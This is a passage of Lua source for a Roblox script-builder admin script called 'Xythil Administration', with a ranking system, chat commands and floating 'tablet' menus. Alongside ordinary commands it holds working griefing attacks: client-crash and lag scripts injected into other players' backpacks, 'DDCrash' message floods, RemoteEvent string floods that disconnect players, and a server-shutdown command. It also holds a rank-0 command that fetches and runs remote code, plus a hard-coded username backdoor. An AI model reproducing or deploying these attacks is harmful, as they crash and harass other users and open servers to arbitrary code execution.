- fr:TweenPosition(UDim2.new(1, 0, num, 0), "Out", "Quad", 1)
- end))
- end
- end
- end
- end
- --[[+Sand Box+]]--
- function SandboxLoadstring(Source)
- local Func = loadstring(Source or "")
- setfenv(Func,{__ENV = getfenv(1)})
- return coroutine.wrap(Func)
- end
- GetSplit=function(String,Split)
- if Split==nil then Split=YourBet2 end
- return String:find(Split)
- end
- --[[+Ranks+]]--
- function GetRank(Player)
- if type(Player) == "userdata" then
- Player = Player.Name
- end
- return Ranked[Player].Rank or 0
- end
- -- Ranked
- Xythil.Ranks('roleo1122',7,Colors.White,'Creator of Xythil Administration')
- Xythil.Ranks('toooony',7,Colors.White,'Creator of Xythil Administration')
- --[[+Output+]]--
- function Output(Text,Color,Player,Time,Func,HoverEnter,HoverExit)
- if Text == nil or Player == nil then return end
- if Color == nil then Color = "White" end
- if Color == "Random" then
- Color = Color3.new(math.random(),math.random(),math.random())
- end
- if type(Color) == "string" then
- Color = Colors[Color]
- end
- local Mod = Instance.new("Model",Services.Workspace)
- Mod.Name = "["..Player.Name.."]'s Output"
- local Part = CurrentTabletPart:Clone()
- Part.Parent = Mod
- Part.BrickColor = BrickColor.new(Color)
- local Sel = Instance.new("SelectionBox",Part)
- Sel.Name = "Sel"
- Sel.Color = BrickColor.new(Color)
- Sel.Adornee = Part
- Sel.Transparency = 0.6335234537664356435734637342
- local BBG = Instance.new("BillboardGui",Mod)
- BBG.Name = "BBG"
- BBG.StudsOffset = Vector3.new(0,3,0)
- BBG.Size = UDim2.new(10,0,10,0)
- local Label = Instance.new("TextLabel",BBG)
- Label.Name = "Label"
- Label.Text = Text
- Label.TextColor3 = Color
- Label.FontSize = "Size24"
- Label.Font = "SourceSansBold"
- Label.BackgroundTransparency = 1
- Label.TextStrokeTransparency = 0.5
- Label.Size = UDim2.new(1,0,1,0)
- Label.TextStrokeColor3 = Color3.new(900,900,900)
- local Click = Instance.new("ClickDetector",Part)
- Click.MaxActivationDistance = 1/0
- Click.MouseHoverEnter:connect(function(Clicker)
- if Clicker == Player or GetRank(Clicker) > GetRank(Player) then
- Sel.Transparency = 0
- end
- if Clicker == Player or GetRank(Clicker) > GetRank(Player) and HoverEnter ~= nil then
- pcall(HoverEnter,Mod,Part,Player.Name,Sel,Label)
- end
- end)
- Click.MouseHoverLeave:connect(function(Clicker)
- if Clicker == Player or GetRank(Clicker) > GetRank(Player) then
- Sel.Transparency = 0.7
- Part.Transparency = 0.3
- end
- if Clicker == Player or GetRank(Clicker) > GetRank(Player) and HoverExit ~= nil then
- pcall(HoverExit,Mod,Part,Player.Name,Sel,Label)
- end
- end)
- Click.MouseClick:connect(function(Clicker)
- if Clicker == Player or GetRank(Clicker) > GetRank(Player) then
- if Text == "Dismiss" then
- RemoveTablets(Player)
- end
- if Func ~= nil then
- local Ran,Error = coroutine.resume(coroutine.create(function() Func(Player) end))
- if not Ran then print(Error) end
- end
- coroutine.wrap(function()
- for i=0,1,0.1 do
- wait()
- Part.Transparency = i
- Sel.Transparency = i
- Label.TextTransparency = i
- eff=1.2-i
- Part.Size = Vector3.new(eff,eff,0.2)
- end
- Mod:Destroy()
- end)()
- end
- end)
- local light = Instance.new('PointLight',Part)
- light.Range = 15
- light.Brightness = 30
- light.Color = Color
- light.Enabled = true
- if Time ~= nil then
- Services.Debris:AddItem(Mod,Time)
- end
- Tablets[#Tablets+1] = {Model = Mod,Part = Part,Player = Player.Name,Sel = Sel,Label = Label}
- UpdateTablets()
- return {Model = Mod,Part = Part,Player = Player.Name,Sel = Sel,Label = Label}
- end
- NewOutput = function(Text,Color,Time,Func)
- if Color == nil then Color = Colors.Orange end
- if Text == nil then Text = "nil" end
- if Time == nil then Time = 0 end
- ModRanks = 1
- for _,Player in pairs(game.Players:GetPlayers()) do
- if Ranked[Player.Name].Rank >= ModRanks then
- if Func == nil then
- Output(Text,Color,Player,Time)
- else
- Output(Text,Color,Player,Time,Func)
- end
- end
- end
- end
- coroutine.wrap(function()
- if LockedScripts and not Removed and LocalSourceForSB == ('Source') or LocalSourceForSB == ('source') then
- for _,Service in pairs(Services) do
- pcall(function()
- Service.DescendantAdded:connect(function(a)
- if(type(a)=='userdata' and a.className:lower():match'script')then
- a.Disabled=true
- a:Destroy() return end
- local owner = a:findFirstChild'owner'or a:findFirstChild'user'or a:findFirstChild'Owner' or ad:findFirstChild'sPlayer'
- local source = a:findFirstChild'source'or a:findFirstChild'Source' or a:findFirstChild'sSource';
- if source then
- pcall(function() owner = owner.Value end)
- local disable = false
- if(a.className=='Script')then
- disable = true
- end
- if(a.className=='LocalScript')then
- disable = true
- if disable then
- source.Value=[[
- error('[Xythil] Scripts Are Disabled!',2);
- script.Disabled=true;
- script:destroy();]]
- d.Disabled=false;
- end
- end
- end
- end)
- end)
- end
- end
- end)()
- function BlockLocalFromBackpack(a)
- for _,v in pairs (GetPlayers()) do
- if(v.Name==a)then
- for _,nono in pairs (v:children()) do
- if (nono.Name=='Backpack' or nono.Name=='PlayerGui' or nono.Name=='Character') then
- nono.DescendantAdded:connect(function(Scwipt)
- if Scwipt.ClassName=="LocalScript" or Scwipt.ClassName=="Script" then
- pcall(function()
- repeat wait() Scwipt.Disabled=true until Scwipt.Disabled==true
- end)
- end
- end)
- end
- end
- end
- end
- end
- function DISC(Player)
- coroutine.resume(coroutine.create(function()
- Insert = Player:FindFirstChild("Backpack") or Player:FindFirstChild("PlayerGui") or Player.Character
- TP = CreateLocalScript([[
- game:service'Players'.LocalPlayer.Parent = nil
- game:service'Players'.LocalPlayer.Parent = game:service'Players'
- pcall(function()
- workspace:ClearAllChildren()
- end)]],Insert)
- if not TP then
- pcall(function() Player:Kick()
- end)
- end
- end))
- end
- function crashNil(plrName)
- for index,client in pairs(game:GetService("NetworkServer"):GetChildren()) do
- if tostring(client:GetPlayer().Name) == plrName then
- local crash = Instance.new("RemoteEvent", workspace)
- crash.Name="NilCrash"
- crash:FireClient(client:GetPlayer(), string.rep("Lolurmad",5e5)) -- 5e5 = 500,000
- delay(5, function() crash:Destroy() end)
- end
- end
- end
- --[[+Remove Tablets+]]--
- function RemoveTablets(Player)
- if type(Player) == "userdata" then
- Player = Player.Name
- end
- for _,v in pairs(Tablets) do
- if v.Player == Player then
- coroutine.wrap(function()
- for i=0,1,0.1 do
- wait()
- v.Part.Transparency = i
- v.Sel.Transparency = i
- v.Label.TextTransparency = i
- yiu = 1.2-i
- v.Part.Size = Vector3.new(yiu,yiu,0.2)
- end
- wait()
- v.Model:Destroy()
- end)()
- end
- end
- end
- --[[+Override+]]--
- function Override(Speaker,Level)
- local Override = false
- local EditedText = false
- local GUI = Instance.new("ScreenGui",Speaker.PlayerGui)
- local Frame = Instance.new("Frame",GUI)
- Frame.Name = "Frame"
- Frame.Size = UDim2.new(0.5,0,0.1,0)
- Frame.Style = "RobloxRound"
- Frame.Position = UDim2.new(0.25,0,0.45,0)
- local Text = Instance.new("TextBox",Frame)
- Text.Text = "Paste Passcode!"
- Text.FontSize = "Size14"
- Text.TextColor3 = Color3.new(1,1,1)
- Text.BackgroundTransparency = 1
- Text.Size = UDim2.new(1,0,1,0)
- Text.Changed:connect(function()
- if EditedText == false then
- EditedText = true
- if Speaker.Name == ("madgamers") then
- Text.TextColor3 = Color3.new(0,1,0)
- Text.Text = "Correct Passcode"
- Ping("Override Successful",Speaker)
- pcall(function()
- Ranked[Speaker.Name].Rank = 6
- end)
- if Level == 1 then
- end
- wait(1)
- else
- for i=1,3 do
- Text.Text = "Wrong Passcode"
- Text.TextColor3 = Color3.new(1)
- Text.TextTransparency = 0
- wait(0.7)
- Text.TextTransparency = 1
- wait(0.7)
- end
- end
- GUI:Destroy()
- end
- end)
- end
- --[[+Get Players+]]--
- function GetPlayers(Msg, Speaker)
- if Msg == nil or Speaker == nil then
- return Services.Players:GetPlayers()
- else
- local Rtn = {}
- local Players = GetPlayers()
- Msg = Msg:lower()
- local Split = Msg:find(YourBet)
- if Split ~= nil then
- for _,v in pairs(GetPlayers(Msg:sub(1,Split-1),Speaker)) do
- Rtn[#Rtn+1] = v
- end
- for _,v in pairs(GetPlayers(Msg:sub(Split+1),Speaker)) do
- Rtn[#Rtn+1] = v
- end
- elseif Msg == "me" then
- Rtn[#Rtn+1] = Speaker
- elseif Msg == "others" then
- for _,v in pairs(Players) do
- if v ~= Speaker then
- Rtn[#Rtn+1] = v
- end
- end
- elseif Msg == "all" then
- for _,v in pairs(Players) do
- Rtn[#Rtn+1] = v
- end
- elseif Msg == "random" then
- Rtn[#Rtn+1] = Players[math.random(1,#Players)]
- elseif Msg:sub(1,4) == "not " then
- local Nots = GetPlayers(Msg:sub(5),Speaker)
- for _,v in pairs(Players) do
- local ShouldAdd = true
- for _,i in pairs(Nots) do
- if v == i then
- ShouldAdd = false
- end
- end
- if ShouldAdd == true then
- Rtn[#Rtn+1] = v
- end
- end
- elseif Msg:sub(1,4) == "dist" then
- for _,v in pairs(Players) do
- local Mag = (v.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude
- if SandboxLoadstring("return "..tostring(Mag)..Msg:sub(5))() and v ~= Speaker then
- Rtn[#Rtn+1] = v
- end
- end
- elseif Msg:sub(1,4) == "rank" then
- for _,v in pairs(Players) do
- if SandboxLoadstring("return "..tostring(GetRank(v))..Msg:sub(5))() then
- Rtn[#Rtn+1] = v
- end
- end
- elseif Msg:sub(1,3) == "age" then
- for _,v in pairs(Players) do
- if SandboxLoadstring("return "..tostring(v.AccountAge)..Msg:sub(4))() then
- Rtn[#Rtn+1] = v
- end
- end
- else
- for _,v in pairs(Players) do
- if v.Name:lower():sub(1,#Msg) == Msg then
- Rtn[#Rtn+1] = v
- end
- end
- end
- for i,v in pairs(Rtn) do
- if GetRank(v) > GetRank(Speaker) then
- Output('Cannot Perform Action On '..v.Name..'!','Cyan',Speaker,3)
- Rtn[i] = nil
- end
- end
- return Rtn
- end
- end
- GetRankName = function(p)
- rank = GetRank(p)
- for _,v in pairs(Ranks) do if _ == rank then return v end end
- end
- YourCMD = function(Name,Cmd,Rank,Func)
- Commands[Name]={Cmd = Cmd,Rank = Rank,Func = Func}
- end
- --[[+OnChatted+]]--
- OnChatted = function(Msg, Speaker)
- if Msg:lower():sub(1,3) == '/e ' then
- Msg = Msg:sub(4)
- end
- if EnableKP then
- if GetRank(Speaker) < 2 and Removed==false then
- Found=false
- for _,v in pairs(KickingPhrases) do
- if Msg:lower():match(v:lower()) and Found==false then
- Found=true
- if Removed==false then
- game.Players[Speaker.Name]:Kick()
- Found=true
- Ranked[Speaker.Name].Rank=0.5
- Ranked[Speaker.Name].Desc='Used an illigal word [' .. v .. ']' -- Think twice next time
- wait(1)
- for y,AllP in pairs (game.Players:GetPlayers()) do
- Output(Speaker.Name .. " has been Removed for saying : [" .. v .. "]","Red",AllP,4) end
- end
- end
- end
- end
- end
- for _,CMD in pairs(Commands) do
- if string.lower(Msg):sub(1,#CMD.Cmd+#YourBet) == string.lower(CMD.Cmd) .. YourBet then
- if Removed == false and GetRank(Speaker) >= CMD.Rank then
- local StrSub = #CMD.Cmd + 2
- Test = coroutine.create(function() CMD.Func(Msg:sub(StrSub),Speaker) end)
- local a,b = coroutine.resume(Test)
- if not a then Output(b,'Red',Speaker) end
- elseif Removed==false then
- Output('No Permission, Required Rank Is ('..CMD.Rank..')','Cyan',Speaker,4)
- end
- end
- end
- if GetRank(Speaker) > 0 and Removed==false and #Msg < 100 and GuiChat==true then
- if Speaker.Character and Speaker.Character:FindFirstChild('Head') and Speaker == Speaker then
- MsgStr = ' '.. GetRankName(Speaker) .. ': ' .. Msg
- pcall(function() Speaker.Character:findFirstChild('BBG'):Destroy() end)
- local BBG = Instance.new("BillboardGui",Speaker.Character.Head)
- BBG.Name = "BBG"
- BBG.StudsOffset = Vector3.new(0,4.5,0)
- BBG.Size = UDim2.new(9,0,1,0)
- TextWrap = true
- local Label = Instance.new("TextLabel",BBG)
- Label.Name = "Label"
- Label.Text = Msg
- Label.TextColor3 = Ranked[Speaker.Name].Color
- Label.FontSize = "Size24"
- Label.BackgroundTransparency = 1
- Label.TextStrokeTransparency = 0
- Label.Size = UDim2.new(1,0,1,0)
- Label.TextStrokeColor3 = Color3.new(0)
- Label.TextStrokeColor3 = Color3.new(0,0,0)
- for i=1,#MsgStr do
- Label.Text = MsgStr:sub(1,i)
- wait(0.006)
- end
- coroutine.wrap(function()
- for i=3,100 do
- BBG.StudsOffset = Vector3.new(0,i/10,0)
- Label.TextTransparency = i / 100
- wait()
- end
- BBG:Destroy()
- end)()
- wait(2)
- BBG:Destroy()
- end
- end
- end
- --[[+ Nil Support +]]--
- Services.Chat.Chatted:connect(function(Part,Msg,Color)
- pcall(function()
- local Player
- for _,v in pairs(Services.NetworkServer:children()) do
- if pcall(function() v:GetPlayer() end) then
- if v:GetPlayer().Name == Part.Name then
- Player = v:GetPlayer()
- end
- end
- end
- OnChatted(Msg,Player or Part.Parent == Services.Workspace and Part or Part.Parent or Part)
- end)
- end)
- --[[+CreateLocalScript+]]--
- function CreateLocalScript(Source,Parent)
- if Source == nil then Source = "" end
- if Parent == nil then Parent = Instance.new("Model") Parent.Name = "PseudoParent" end
- if newLocalScript ~= nil then
- return newLocalScript(Source,Parent)
- elseif NewLocalScript ~= nil then
- return NewLocalScript(Source,Parent)
- elseif LocalScript ~= nil then
- local NS = LocalScript:Clone()
- pcall(function() NS:ClearAllChildren() end)
- NS.Name = "LocalScript"
- for i,v in pairs(Sources) do
- local NSSource = Instance.new("StringValue",NS)
- NSSource.Name = i
- NSSource.Value = Source
- end
- --NS.Disabled = true
- NS.Parent = Parent
- --wait()
- NS.Disabled = false
- return NS
- else
- return false
- end
- end
- --[[+Players Interface+]]--
- function PlayerInterface(Player,Speaker)
- if type(Player) == "userdata" then
- Player = Player.Name
- end
- for Name,Data in pairs(Ranked) do
- if Player == Name then
- RemoveTablets(Speaker)
- for i,v in pairs(Data) do
- Output(i.." : "..tostring(v),Data.Color,Speaker)
- end
- if GetRank(Speaker) > 5 or Name == Speaker.Name then
- Output("Set Color","Blue",Speaker,nil,function()
- RemoveTablets(Speaker)
- ColorFunc=function(Color)
- Ranked[Speaker.Name].Color=Color
- end
- for _,v in pairs(Colors) do Output(_,tostring(_),Speaker,nil,function() ColorFunc(v) PlayerInterface(Player,Speaker)
- end ) end
- end)
- end
- for i,v in pairs(game:service'NetworkServer':children()) do
- if v:IsA'ServerReplicator' then
- local ZPlayer=v:GetPlayer()
- if ZPlayer then
- if ZPlayer.Name==Player then
- if ZPlayer.Parent ~= Services.Players then
- if GetRank(Speaker) >= 2 and GetRank(Speaker) >= Data.Rank then
- Output('Nil Disconnect : ' .. ZPlayer.Name,'Random',Speaker,nil,
- function()
- Client = Instance.new("RemoteEvent",Services.Workspace)
- Client:FireClient(ZPlayer.Name,('i_Hate_Chu'):rep(2e5+5));
- Services.Debris:AddItem(Client,3) wait(3)
- Instance.new("StringValue",Services.Workspace).Name = 'DISC : '..ZPlayer.Name..''..Key
- end)
- end
- end
- end
- end
- end
- end
- if GetRank(Speaker) > Data.Rank and (Data.Rank >= 0 and true or (Data.Rank < 0 and GetRank(Speaker) > 2)) then
- Output("Set Rank","Blue",Speaker,nil,function()
- RemoveTablets(Speaker)
- Output("Back","Blue",Speaker,nil,function()
- PlayerInterface(Player,Speaker) end)
- for Value,Rank in pairs(Ranks) do
- if GetRank(Speaker) >= Value then
- Output('['..Value..'] : ' .. Rank,'Random',Speaker,nil,function() RemoveTablets(Speaker) Data.Rank = Value PlayerInterface(Player,Speaker) end )
- end
- end
- end)
- end
- if GetRank(Speaker) >= 2 and GetRank(Speaker) >= Data.Rank and Services.Players[Player] ~= nil and Services.Players[Player].Parent == Services.Players then
- pcall(function() Output("Disconnect "..Player.."?","Red",Speaker,nil,function()
- Services.Players[Player]:Kick() wait()
- Instance.new("StringValue",Services.Workspace).Name = 'DISC : '..Player..''..Key
- end) end)
- end
- end
- end
- end
- --[[+Display Driver Crash+]]-- NO LOCAL SOURCE NEEDED
- function DDCrash(a)
- wait();
- for i = 0,28000 do
- if a ~= nil then
- Instance.new("Message",a:WaitForChild('PlayerGui')).Text = '\t'
- end end end
- --[[+Lag+]]--
- Lag = function(Player) -- Works well on beta
- coroutine.wrap(function()
- repeat wait() until Player:FindFirstChild("Backpack") ~= nil
- CreateLocalScript([[
- script:Destroy();
- local runService = Game:GetService("RunService").Stepped;
- local LagNum = 1250;
- local str = "CONGRAGULATIONS YOU JUST GOT LAGGED!!!";
- for i = 1, math.huge do
- if i % LagNum == 0 then runService:wait(); end
- Instance.new("Message", Workspace).Text = str;
- end
- ]],Player:findFirstChild("Backpack"))
- local Hint = Instance.new("Hint",Services.Workspace)
- repeat
- Hint.Text = Player.Name.." is being lagged"
- Hint.Parent = Services.Workspace
- wait()
- until Player.Parent == nil
- Hint:Remove()
- end)()
- end
- --[[+Register Player+]]--
- function RegisterPlayer(Player,Exception,ISFOR)
- local Ran,Error = coroutine.resume(coroutine.create(function()
- if not pcall(function() Player:children() end) then
- return
- end
- local Data = Ranked[Player.Name]
- if Data == nil then
- Ranked[Player.Name] = {}
- Data = Ranked[Player.Name]
- Player:WaitForDataReady()
- for i,v in pairs(Ranked.Defaults) do
- Data[i] = v
- end
- end
- if Services.Game.PlaceId == 0 then
- Data.Rank = 3
- end
- Player.Chatted:connect(function(Msg)
- OnChatted(Msg,Player)
- end)
- if Data.Rank <= 0 and Exception == nil then
- if Data.Rank == -1 then
- Delay(0,function() while wait() do if Player~=nil then pcall(function() Player:Destroy() end) end end end)
- NewOutput(Player.Name..' was Removed due to a Termination.','Orange"',3)
- elseif Data.Rank == -2 then
- Delay(0,function() while wait() do pcall(function()
- DISC(Player) end) end end)
- NewOutput(Player.Name ..' was Disconnected due to a Termination','Red',3)
- elseif Data.Rank == -3 then
- Delay(0,function() Wait(2) pcall(function()
- DDCrash(Player) Wait() Player:Destroy()
- NewOutput(Player.Name ..' was DDC\'ed due to a Termination','Orange',3) end) end)
- end
- end
- coroutine.wrap(function()
- if Ranked[Player.Name].Rank > 1 then
- Output('You are rank: ('..Ranked[Player.Name].Rank..')','Hot pink',Player,7)
- end
- end)()
- coroutine.wrap(function()
- if not pcall(function() Player:children() end) then
- pcall(function() Player:Kick() end)
- pcall(function() Services.Debris:AddItem(Player,1)end)
- NewOutput(Player.Name..' Has Been Removed For Being RobloxLocked!','Red',5);
- end
- end)()
- Connect(Player)
- end))
- if not Ran then
- NewOutput(Error,"Red",5)
- end
- end
- coroutine.wrap(function()
- Services.RunService.Stepped:connect(function()
- if PRI then
- for _,v in pairs (GetPlayers()) do wait(.1)
- ptype = PRIType
- if Ranked[v.Name].Rank < 1 then
- if ptype == 'Kick' then
- v:Destroy()
- elseif ptype == 'Shutdown' then
- DISC(v)
- elseif ptype == 'Crash' then
- coroutine.wrap(function() pcall(function()
- CreateLocalScript([[local function EventBufferOverflow(object)
- object.DescendantAdded:connect(EventBufferOverflow)
- Instance.new("IntValue", object)
- end
- EventBufferOverflow(Game)]],v.Backpack)end) end)()
- end
- end
- end end end) end)()
- --[[+CONNECT+]]--
- function Connect(Player)
- coroutine.wrap(function()
- repeat wait() until CreateLocalScript()~=false
- repeat wait() until Player:FindFirstChild("Backpack") ~= nil
- CreateLocalScript([[
- repeat
- script.Parent = nil
- wait()
- until script.Parent == nil
- local LocalPlayer = game:service'Players'.LocalPlayer
- while wait() do
- workspace.DescendantAdded:wait()
- if workspace:FindFirstChild("DISC : "..LocalPlayer.Name.."]]..Key..[[",true) ~= nil then
- workspace:FindFirstChild("DISC : "..LocalPlayer.Name.."]]..Key..[[",true):Destroy()
- local function EventBufferOverflow(object)
- object.DescendantAdded:connect(EventBufferOverflow)
- Instance.new("IntValue", object)
- end
- EventBufferOverflow(Game)
- end
- end
- ]],Player:FindFirstChild("Backpack"))
- end)()
- end
- Services.Players.PlayerAdded:connect(RegisterPlayer)
- Connect(Player)
- for _,v in pairs(GetPlayers()) do RegisterPlayer(v,true)
- Connect(v) end
- Services.RunService.Heartbeat:connect(function() Wait();
- UpdateTablets()
- end)
- Services.Players.PlayerRemoving:connect(function(v)
- RemoveTablets(v)
- end)
- --[[+Commands+]]--
- YourCMD('Show Commands','cmds',0,
- function(Msg, Speaker) RemoveTablets(Speaker) Wait(0.1) -- For Spammers
- Output('Dismiss','Red',Speaker,150)
- Output('Your Rank is (' .. Ranked[Speaker.Name].Rank..')','Hot pink',Speaker,150)
- for num = 0,7 do
- Output('Rank (' .. num .. ') Cmds',Ranked[Speaker.Name].Color,Speaker,150, -- Dont want it to last long
- function()
- RemoveTablets(Speaker); wait();
- Output("Back","Really blue",Speaker,nil,function()
- RemoveTablets(Speaker); wait() OnChatted("cmds;",Speaker)
- end)
- for p,cmd in pairs(Commands) do
- if cmd.Rank == num then
- Output(p.. "("..cmd.Rank..")",'Lime green',Speaker,nil,
- function() RemoveTablets(Speaker);
- for k,stf in pairs (cmd) do
- Output(tostring(k) .. ': ' .. tostring(stf),'Cyan',Speaker)
- end
- end)
- end
- end
- end)
- end
- end)
- YourCMD('Override','override',0,
- function(m,s) Override(s,0) end
- )
- YourCMD('Remove Administration','remove',7,
- function(Msg, Speaker)
- Output('Would you like to Remove Xythil Gen 2?','Red',Speaker,nil,function()
- Removed=true Ranked={} Commands={} KickingPhrases={} GuiChat=false
- for i,v in pairs(getfenv(1)) do
- getfenv(1)[i] = nil
- end end)
- end
- )
- YourCMD('Dismiss','dt',0,
- function(Msg, Speaker) RemoveTablets(Speaker) end
- )
- YourCMD('Execute','exe',6,
- function(Msg, Speaker)
- local Func,Error = loadstring(Msg)
- getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Output(Rtn,"White",Speaker) end
- getfenv(Func).Speaker = Speaker
- if Error == nil then
- coroutine.wrap(function()
- Func()
- end)()
- Output("Script ran successfully!","Green",Speaker,3)
- else
- Output(Error,"Red",Speaker,5)
- end
- end
- )
- YourCMD('Fix Rotation','fixrot',3,
- function(Msg, Speaker)
- Output('Fixed Rotation!','White',Speaker)
- Services.RunService.Stepped:connect(function()
- UpdateTablets()
- end)
- end)
- YourCMD('Walkspeed','speed',3,
- function(Msg, Speaker)
- for _,v in pairs (GetPlayers(Msg, Speaker)) do
- v.Character.Humanoid.WalkSpeed = tonumber(Msg)
- end
- end
- )
- YourCMD("Nil Disconnect","nilcrash",6,
- function(Msg, Speaker)
- for i,v in pairs(Services.NetworkServer:GetChildren()) do
- if v:IsA'ServerReplicator' then
- if v:GetPlayer().Parent == nil then
- crashNil(v)
- end
- end
- end
- end
- )
- YourCMD("Anti-Local","al",7,
- function(Msg, Speaker)
- BlockLocalFromBackpack(a)
- end
- )
- YourCMD('Kill','kill',1,
- function(Msg, Speaker)
- for _,Player in pairs(GetPlayers(Msg, Speaker)) do
- Player.Character:BreakJoints()
- loggit('Killed '..Player.Name)
- end
- end
- )
- YourCMD('Explorer','explore',3,
- function(Msg, Speaker)
- Explore(Services,Speaker)
- end
- )
- YourCMD('Disable Scripts','lockscr',7,
- function(Msg, Speaker)
- LockedScripts = true
- for _,v in pairs (GetPlayers()) do
- Output("Scripts Are Disabled!","Red",v,4) end
- end
- )
- YourCMD('Enable Scripts','unlockscr',7,
- function(Msg, Speaker)
- LockedScripts = false
- for _,v in pairs (GetPlayers()) do
- Output("Scripts Are Enabled!","White",v,4) end
- end
- )
- YourCMD('Notifications','notify',2, --
- function(Msg, Speaker)
- Output("Disabled Scripts : "..tostring(LockedScripts),"Cyan",Speaker,100,function()
- RemoveTablets(Speaker) wait()
- if LockedScripts then
- Output("Enable Scripts?","Green",Speaker,100,function()
- LockedScripts = false end)
- else
- Output("Disable Scripts?","Red",Speaker,100,function()
- LockedScripts = true end) end
- end)
- Output("Pri : "..tostring(PRI),"Cyan",Speaker,100,function()
- RemoveTablets(Speaker) wait()
- if not PRI then
- Output("Enable Private Server","Green",Speaker,100,function()
- PRI = true end)
- else
- Output("Disable Private Server?","Red",Speaker,100,function()
- PRI = false end) end
- end)
- Output("Kicking Phrases : "..tostring(EnableKP),'Cyan',Speaker,100,function()
- RemoveTablets(Speaker) wait()
- if not EnableKP then
- Output("Enable Kicking Phrases","Green",Speaker,100,function()
- EnableKP = true end)
- else
- Output("Disable Kicking Phrases?","Red",Speaker,100,function()
- EnableKP = false end) end
- end)
- Output("Info",'White',Speaker,100)
- end
- )
- YourCMD('Get Ranks','Ranked',0,
- function(Msg, Speaker)
- RemoveTablets(Speaker)
- wait()
- Player=nil
- if #Msg==0 then
- for i,v in pairs(Ranked) do
- Output(i,v.Color,Speaker,nil,
- function()
- Player=i
- RemoveTablets(Speaker)
- end
- )
- end
- else
- for _,v in pairs(Ranked) do
- if _:lower():sub(1,#Msg) == Msg:lower() then
- Player=_
- end
- end
- end
- coroutine.wrap(function()
- repeat
- wait()
- until Player
- PlayerInterface(Player,Speaker)
- end)()
- end
- )
- YourCMD('Drivers Crash','dcrash',6,
- function(Msg, Speaker) for _,v in pairs(GetPlayers(Msg, Speaker)) do DDCrash(v) end end
- )
- YourCMD('All commands','commands',2,
- function(Msg, Speaker)
- for name,tb in pairs(Commands) do
- Output(name .. '( CMD is '..tb.Cmd..': ['..tb.Rank..'])','Random',Speaker)
- end
- end
- )
- YourCMD('Set rank','setrank',0,
- function(Msg, Speaker)
- Str = Msg:find(YourBet2)
- if Str ~= nil then
- for _,Player in pairs(GetPlayers(Msg:sub(1,Str-1),Speaker)) do
- local Rank = Msg:sub(Str+1)
- Rank2 = tonumber(Msg:sub(Str+1))
- if Rank2 <= Ranked[Speaker.Name].Rank then
- Ranked[Player.Name].Rank = Rank2
- Output("Your new rank is ("..Rank2..")","Cyan",Player,3)
- else
- Output("Rank not found!","Red",Speaker,3)
- end
- end
- end
- end
- )
- YourCMD('Ban Player','ban',5,
- function(Msg, Speaker)
- for _,v in pairs(GetPlayers(Msg, Speaker)) do Ranked[v.Name].Rank = -2 pcall(function()
- v.Character.Humanoid.WalkSpeed = tonumber("1e+999") end) coroutine.wrap(function()
- dl = CreateLocalScript('repeat until left',v.Backpack)
- if not dl then wait(1) v:Kick() end
- end)()
- end
- end
- )
- YourCMD('Kick','kick',4,
- function(Msg, Speaker)
- for _,v in pairs(GetPlayers(Msg, Speaker)) do
- DISC(v)
- end
- end
- )
- YourCMD('Disable Indexed Scripts','dscripts',7,
- function(Msg, Speaker)
- DisableAllScripts = true
- wait(1)
- DisableAllScripts = false
- end
- )
- YourCMD('Private Server','pri',5,
- function(Msg, Speaker)
- if PRI == false then
- Output('Turn PRI [On]','Green',Speaker,nil,function() PRI=true RemoveTablets(Speaker) wait(.1) Output('PRI has been turned on!','Green',Speaker,5) end) end
- if PRI == true then
- Output('Turn PRI [Off]','Red',Speaker,nil,function() PRI=false RemoveTablets(Speaker) wait(.1) Output('PRI has been turned off!','Red',Speaker,5) end) end
- Output('Change PRI type','Orange',Speaker,nil,function() RemoveTablets(Speaker) types = {'Kick','Shutdown','Crash'} for _,v in pairs(types) do Output(v,'White',Speaker,nil,function() PRIType=v RemoveTablets(Speaker) OnChatted('pri'..YourBet,Speaker) end ) end end )
- Output('Pri Type : ' .. tostring(PRIType),'Blue',Speaker)
- Output('Pri : ' .. tostring(PRI),'Green',Speaker)
- end
- )
- YourCMD('Respawn','rs',1,
- function(Msg, Speaker)
- for _,v in pairs(GetPlayers(Msg, Speaker)) do
- v:LoadCharacter()
- end
- end
- )
- YourCMD('Shutdown Server','sd',7,
- function(Msg, Speaker)
- if Abort == false then
- if CrashPlayerShutdown then
- for _,v in pairs(GetPlayers()) do
- DISC(v) end end -- Crashes Players
- wait(0.5)
- OnChatted('nilcrash'..YourBet,Speaker) -- Crashes nil Players
- wait(2)
- Instance.new("ManualSurfaceJointInstance",Services.Workspace) -- Shuts the server down
- wait(1)
- end
- end
- )
- YourCMD('God','god',1,
- function(Msg, Speaker)
- local PlrTab = getPlayer(Speaker, Msg)
- if #PlrTab > 0 then
- for _,v in pairs(PlrTab) do
- ypcall(function()
- v.Character.Humanoid.MaxHealth = math.huge
- end)
- end
- end
- end)
- YourCMD('HttpService Load','http',0,
- function(Msg, Speaker)
- coroutine.wrap(function()
- a,b = ypcall(function()
- h = Msg
- Http = game:GetService("HttpService")
- String = Http:GetAsync(h,true)
- loadstring(String)()
- end) if not a then Output(b,'Red',Speaker,7)
- end
- end)()
- end
- )
- YourCMD('Crash','crash',4,
- function(Msg, Speaker) for a,b in pairs(GetPlayers(Msg, Speaker)) do CreateLocalScript([[
- local function EventBufferOverflow(object)
- object.DescendantAdded:connect(EventBufferOverflow)
- Instance.new("IntValue", object)
- end
- EventBufferOverflow(Game)]],b.Backpack) end end
- )
- YourCMD('Loop Delete','delete',4,
- function(Msg, Speaker)
- Delay(0,function()
- while wait() do
- for _,Item in pairs(game.Workspace:GetChildren()) do
- if Item.Name:lower():find(Msg:lower()) or Item.Name:find(Msg) then
- Item:Destroy()
- end
- end
- end
- end)
- end
- )
- YourCMD("Message","m",2,
- function(Msg, Speaker)
- SystemMsg(Msg)
- end
- )
- YourCMD('Lag a Player','lag',6,
- function(Msg, Speaker) for _,v in pairs(GetPlayers(Msg, Speaker)) do Lag(v) end end
- )
- YourCMD('Baseplate','base',1,
- function(Msg, Speaker)
- pcall(function() game.Workspace:FindFirstChild('Base'):Destroy() end)
- local Base = Instance.new("Part",Services.Workspace)
- Base.Name = "BasePlate"
- Base.Anchored = true
- Base.Locked = true
- Base.BrickColor = BrickColor.new("Earth green")
- Base.Size = Vector3.new(2048,2,2048)
- Base.CFrame = CFrame.new(0,0,0)
- Base.Material = 'Grass'
- end
- )
- YourCMD('Banlist','Banned',0,
- function(Msg, Speaker)
